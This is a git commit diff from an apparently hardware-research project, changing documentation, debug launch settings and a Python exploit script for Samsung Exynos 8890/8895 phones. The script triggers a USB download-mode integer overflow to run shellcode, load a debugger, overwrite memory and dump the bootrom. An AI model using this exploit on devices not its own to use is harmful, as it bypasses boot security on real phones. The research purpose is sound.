changed exploit flow

This commit is contained in:
Jonathan Herrewijnen 2024-08-08 19:46:04 +02:00
parent d3ffb96db4
commit 11bd8dd512
3 changed files with 140 additions and 76 deletions

View File

@ -10,14 +10,20 @@ Current boot chain:
Boot chain Boot chain
As done by Frederic, the bootrom can be dumped using his provided scripts, and can the be split into different boots:
.. code-block:: bash
./exynos-usbdl e payloads/Exynos8890_dump_bootrom.bin dumped_sboot.bin
scripts/split-sboot-8890.sh dumped_sboot.bin
debugger debugger
======== ========
Some other information about the debugger and it's current state. Some other information about the debugger and it's current state.
bl1 bl1
=== ===
Loads at address ``0x02024000`` and contains some form of header (ramdump).
Loads at address ``0x02024000`` and contains some form of header.
There seems to be a samsung header format, where the first 4 bytes define the entry point of the binary. There seems to be a samsung header format, where the first 4 bytes define the entry point of the binary.
In this case this entry is ``+0x10`` so we jump to ``0x02024010``. In this case this entry is ``+0x10`` so we jump to ``0x02024010``.

View File

@ -5,21 +5,38 @@
"version": "0.2.0", "version": "0.2.0",
"configurations": [ "configurations": [
{ {
"name": "Debug exploit", "name": "Debug usb stack",
"type": "debugpy", "type": "debugpy",
"request": "launch", "request": "launch",
"program": "exploit.py", "program": "exploit.py",
"console": "integratedTerminal", "console": "integratedTerminal",
"args": ["--debug"] "args": ["--usb-debug"]
}, },
{ {
"name": "Run chain", "name": "Run boot chain",
"type": "debugpy",
"request": "launch",
"program": "exploit.py",
"console": "integratedTerminal",
"justMyCode": false,
"args": ["--run-boot-chain"]
},
{
"name": "Debug on device",
"type": "debugpy", "type": "debugpy",
"request": "launch", "request": "launch",
"program": "exploit.py", "program": "exploit.py",
"console": "integratedTerminal", "console": "integratedTerminal",
"justMyCode": false, "justMyCode": false,
"args": [] "args": []
},
{
"name": "Debug current file",
"type": "debugpy",
"request": "launch",
"program": "${file}",
"console": "integratedTerminal",
"justMyCode": false,
} }
] ]
} }

View File

@ -1,4 +1,3 @@
import usb.util, usb.core
import struct, sys, usb1, libusb1, ctypes, usb, argparse import struct, sys, usb1, libusb1, ctypes, usb, argparse
from keystone import * from keystone import *
from capstone import * from capstone import *
@ -6,6 +5,7 @@ from ghidra_assistant.utils.utils import *
from ghidra_assistant.concrete_device import * from ghidra_assistant.concrete_device import *
from ghidra_assistant.utils.debugger.debugger_archs.ga_arm64 import GA_arm64_debugger from ghidra_assistant.utils.debugger.debugger_archs.ga_arm64 import GA_arm64_debugger
from qiling.const import QL_ARCH from qiling.const import QL_ARCH
import os
def p32(x): def p32(x):
return struct.pack("<I", x) return struct.pack("<I", x)
@ -45,6 +45,9 @@ ks = Ks(KS_ARCH_ARM64, KS_MODE_LITTLE_ENDIAN)
cs = Cs(CS_ARCH_ARM64, CS_MODE_LITTLE_ENDIAN) cs = Cs(CS_ARCH_ARM64, CS_MODE_LITTLE_ENDIAN)
class ExynosDevice(): class ExynosDevice():
"""
Class to exploit a Exynos device (8890/8895) using the USB stack.
"""
def __init__(self, idVendor=0x04e8, idProduct=0x1234): def __init__(self, idVendor=0x04e8, idProduct=0x1234):
"""Init with vendor/product IDs""" """Init with vendor/product IDs"""
@ -53,9 +56,11 @@ class ExynosDevice():
self.target = "8890" # TODO auto detect device self.target = "8890" # TODO auto detect device
self.connect_device() self.connect_device()
def connect_device(self): def connect_device(self):
"""Wait for proper connection to the device""" """Setup proper connection, and ensure the connection is alive"""
self.context = usb1.USBContext() self.context = usb1.USBContext()
while True: while True:
self.handle = self.context.openByVendorIDAndProductID( self.handle = self.context.openByVendorIDAndProductID(
vendor_id=self.idVendor, vendor_id=self.idVendor,
@ -65,13 +70,24 @@ class ExynosDevice():
if self.handle == None: if self.handle == None:
continue continue
break break
print(f"Connected device! {self.idVendor} {self.idProduct}")
try:
self.handle.getDevice().getSerialNumber()
except Exception as e:
if e.value == usb1.libusb1.LIBUSB_ERROR_TIMEOUT or e.value == usb1.libusb1.LIBUSB_ERROR_IO:
print("Device disconnected / not connected. Reconnect USB?")
sys.exit(0)
else:
raise e
print(f"Connected device! {hex(self.idVendor)} {hex(self.idProduct)}")
def write(self, data): def write(self, data):
transferred = ctypes.c_int() transferred = ctypes.c_int()
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, data, len(data), ctypes.byref(transferred), 0) res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, data, len(data), ctypes.byref(transferred), 0)
assert(res == 0), "Could not perform bulk transfer" assert(res == 0), "Could not perform bulk transfer"
return res return res
def send_empty_transfer(self): def send_empty_transfer(self):
transferred = ctypes.c_int() transferred = ctypes.c_int()
@ -79,11 +95,9 @@ class ExynosDevice():
assert(res == 0) assert(res == 0)
return transferred.value return transferred.value
def test_bug_2(self): def test_bug_2(self):
''' """Interger overflow in last packet if reamining size is 1."""
Interger overflow in last packet if reamining size is 1.
'''
transferred = ctypes.c_int() transferred = ctypes.c_int()
bug_payload = p32(0) + p32(0x201 + 2 + MAX_PAYLOAD_SIZE + 0x7) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0) bug_payload = p32(0) + p32(0x201 + 2 + MAX_PAYLOAD_SIZE + 0x7) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0)
bug_payload += b"\xcc" * (BLOCK_SIZE - len(bug_payload)) bug_payload += b"\xcc" * (BLOCK_SIZE - len(bug_payload))
@ -98,7 +112,6 @@ class ExynosDevice():
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0) res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0)
while True: while True:
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 10) res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 10)
pass
def test_bug(self): def test_bug(self):
@ -115,6 +128,7 @@ class ExynosDevice():
print('Bug probably available') print('Bug probably available')
sys.exit(0) sys.exit(0)
def send_normal(self, payload): def send_normal(self, payload):
''' '''
@ -127,10 +141,13 @@ class ExynosDevice():
assert res == 0, "Error sending payload" assert res == 0, "Error sending payload"
pass pass
def exploit(self, payload: bytes): def exploit(self, payload: bytes):
''' '''
Exploit the Exynos device, payload of 502 bytes max. This will send stage1 payload. Exploit the Exynos device, payload of 502 bytes max. This will send stage1 payload.
''' '''
assert len(payload) <= MAX_PAYLOAD_SIZE, "Shellcode too big"
current_offset = TARGET_OFFSETS[self.target][0] current_offset = TARGET_OFFSETS[self.target][0]
xfer_buffer_start = TARGET_OFFSETS[self.target][1] # start of USB transfer buffer xfer_buffer_start = TARGET_OFFSETS[self.target][1] # start of USB transfer buffer
transferred = ctypes.c_int() transferred = ctypes.c_int()
@ -140,6 +157,7 @@ class ExynosDevice():
max_payload_size = 0x100000000 - size_to_overflow max_payload_size = 0x100000000 - size_to_overflow
ram_size = ((size_to_overflow % CHUNK_SIZE) % BLOCK_SIZE) # ram_size = ((size_to_overflow % CHUNK_SIZE) % BLOCK_SIZE) #
# Assert that payload is 502 bytes
# max_payload_size = 0xffffffff - current_offset + DL_BUFFER_SIZE + TARGET_OFFSETS[self.target][1] # max_payload_size = 0xffffffff - current_offset + DL_BUFFER_SIZE + TARGET_OFFSETS[self.target][1]
# max_payload_size = (TARGET_OFFSETS[self.target][2] - TARGET_OFFSETS[self.target][0]) - 0x200 # max_payload_size = (TARGET_OFFSETS[self.target][2] - TARGET_OFFSETS[self.target][0]) - 0x200
payload = payload + ((max_payload_size - len(payload)) * b"\x00") payload = payload + ((max_payload_size - len(payload)) * b"\x00")
@ -208,14 +226,34 @@ class ExynosDevice():
#Overwrite all calls to make the concrete target function properly #Overwrite all calls to make the concrete target function properly
concrete_device.copy_functions() concrete_device.copy_functions()
def setup_debugger(self): def usb_debug(self):
''' """
Setup the debugger as a concrete device Function to debug USB behaviour
''' """
self.cd = ConcreteDevice(None, False) transferred = ctypes.c_int()
self.cd.dev = self.setup_concrete_device(self.cd) # Send some data
self.cd.test_connection() count = 0
def _send_data():
transferred.value = 0
p = p32(count) + b"\xaa" * (0x200 - 4)
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, p, len(p), ctypes.byref(transferred), 100)
assert res == 0, f"Error sending data ({res})"
def _recv_data():
transferred.value = 0
buf = ctypes.c_buffer(b"", 0x200)
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, 0x81, buf, len(buf), ctypes.byref(transferred), 100)
assert res == 0, f"Error receiving data ({res})"
hexdump(buf.raw)
# Should have received some bytes
while True:
_send_data()
_recv_data()
count += 1
def dumb_interact(self): def dumb_interact(self):
''' '''
@ -225,15 +263,24 @@ class ExynosDevice():
self.cd.arch_dbg.state.print_ctx() self.cd.arch_dbg.state.print_ctx()
# Overwrite jump back # Overwrite jump back
self.cd.memwrite_region(0x02020108, p32(0x2069000)) # self.cd.memwrite_region(0x02020108, p32(0x2069000))
# self.cd.memwrite_region(0x020200e8, p32(0x2069000)) # self.cd.memwrite_region(0x02021800, p32(0x2069000))
self.cd.memwrite_region(0x020200e8, p32(0x02069000)) # address, data. Writes
AUTH_BL1 = 0x00012848 AUTH_BL1 = 0x00012848
def memdump_try(): def memdump_try():
self.cd.arch_dbg.state.LR = 0x020200e8
self.cd.restore_stack_and_jump(0x02021810)
stack_pointer = 0x02021810
dumped = b"" dumped = b""
for block in range(0x2020000, 0x2200000, 0x200): for block in range(0x2020000, 0x2200000, 0x200):
stack_pointer += 0x200
self.cd.arch_dbg.state.print_ctx()
print(hex(block)) print(hex(block))
dumped += self.cd.memdump_region(block, 0x200) dumped += self.cd.memdump_region(block, 0x200)
if stack_pointer >= 0x02020F08:
print(f'stack_pointer at {stack_pointer}')
return dumped
def auth_bl1(): def auth_bl1():
# Load the firmware # Load the firmware
@ -251,6 +298,8 @@ class ExynosDevice():
# self.cd.arch_dbg.state.LR = 0x2069000 #jump back to debugger when finished # self.cd.arch_dbg.state.LR = 0x2069000 #jump back to debugger when finished
# self.cd.restore_stack_and_jump(0x00012814) # self.cd.restore_stack_and_jump(0x00012814)
# self.cd.restore_stack_and_jump(0x000125b4) # self.cd.restore_stack_and_jump(0x000125b4)
dumped = memdump_try()
bl1 = open("../S7/bl1.bin", "rb").read() bl1 = open("../S7/bl1.bin", "rb").read()
self.cd.memwrite_region(0x02024000, bl1) self.cd.memwrite_region(0x02024000, bl1)
@ -265,6 +314,7 @@ class ExynosDevice():
self.cd.arch_dbg.state.LR = 0x2069000 self.cd.arch_dbg.state.LR = 0x2069000
self.cd.restore_stack_and_jump(0x02021810) self.cd.restore_stack_and_jump(0x02021810)
bl31 = open("../S7/bl31.bin", "rb").read() bl31 = open("../S7/bl31.bin", "rb").read()
self.cd.memwrite_region(0x02021800, bl31) self.cd.memwrite_region(0x02021800, bl31)
jump_bl31() jump_bl31()
assert self.usb_read(0x200) == b"GiAs", "not jumped back to debugger?" assert self.usb_read(0x200) == b"GiAs", "not jumped back to debugger?"
@ -276,14 +326,34 @@ class ExynosDevice():
#authenticate it #authenticate it
pass pass
def run_boot_chain(self): def setup_guppy_debugger(self):
stage1 = open("stage1/stage1.bin", "rb").read() """
self.exploit(stage1) Run the boot chain for the Exynos device.
def run_debugger(): Load and send stage1 payload - exploit (stage1)
# TODO, hardcoded path """
debugger = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin", "rb").read()
def _setup_debugger():
'''
Setup the debugger as a concrete device
'''
self.cd = ConcreteDevice(None, False)
self.cd.dev = self.setup_concrete_device(self.cd)
self.cd.test_connection()
def _initial_run_debugger():
"""Write debugger to device and test basic functionality"""
if os.getenv("USER") == "eljakim":
debugger = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin", "rb").read()
else:
try:
debugger = open("../../dump/debugger.bin", "rb").read()
except Exception as e:
print(f'Are you missing your debugger? Please ensure it is present in dump/debugger.bin. {e}')
sys.exit(0)
debugger += ((0x2000 - len(debugger)) * b"\x00") debugger += ((0x2000 - len(debugger)) * b"\x00")
assert len(debugger) == 0x2000, "Invalid debugger size, stage1 requires 0x2000 size" assert len(debugger) == 0x2000, "Invalid debugger size, stage1 requires 0x2000 size"
for block in range(0, len(debugger), 0x200): for block in range(0, len(debugger), 0x200):
@ -296,57 +366,28 @@ class ExynosDevice():
r = self.usb_read(0x200) r = self.usb_read(0x200)
assert r == b"PONG", f"Invalid response from device: {r}" assert r == b"PONG", f"Invalid response from device: {r}"
run_debugger() _initial_run_debugger()
self.setup_debugger() _setup_debugger()
self.dumb_interact()
def usb_debug():
'''
Function to debug USB behavior
'''
shellcode = open("../dwc3_test/dwc3.bin", "rb").read()
assert len(shellcode) <= MAX_PAYLOAD_SIZE, "Shellcode too big"
exynos = ExynosDevice()
exynos.exploit(shellcode)
transferred = ctypes.c_int()
# Send some data
count = 0
def send_data():
transferred.value = 0
p = p32(count) + b"\xaa" * (0x200 - 4)
res = libusb1.libusb_bulk_transfer(exynos.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, p, len(p), ctypes.byref(transferred), 100)
assert res == 0, "Error sending data"
def recv_data():
transferred.value = 0
buf = ctypes.c_buffer(b"", 0x200)
res = libusb1.libusb_bulk_transfer(exynos.handle._USBDeviceHandle__handle, 0x81, buf, len(buf), ctypes.byref(transferred), 100)
assert res == 0, "Error receiving data"
hexdump(buf.raw)
pass
# Should have received some bytes
while True:
send_data()
recv_data()
count += 1
if __name__ == "__main__": if __name__ == "__main__":
arg = argparse.ArgumentParser("Exynos exploit") arg = argparse.ArgumentParser("Exynos exploit")
arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False) arg.add_argument("--usb-debug", action="store_true", help="Debug USB stack", default=False)
arg.add_argument("--run-boot-chain", action="store_true", help="Run boot chain to boot different boot stages", default=False)
# Debug mode arg.add_argument("--dumb-debug", action="store_true", help="Live debugging on device", default=True)
args = arg.parse_args() args = arg.parse_args()
if args.debug:
usb_debug()
sys.exit(0)
exynos = ExynosDevice() exynos = ExynosDevice()
exynos.run_boot_chain()
if args.usb_debug:
shellcode = open("../dwc3_test/dwc3.bin", "rb").read()
exynos.exploit(shellcode)
exynos.usb_debug()
elif args.run_boot_chain:
stage1 = open("stage1/stage1.bin", "rb").read()
exynos.exploit(stage1)
exynos.setup_guppy_debugger()
exynos.dumb_interact()
sys.exit(0)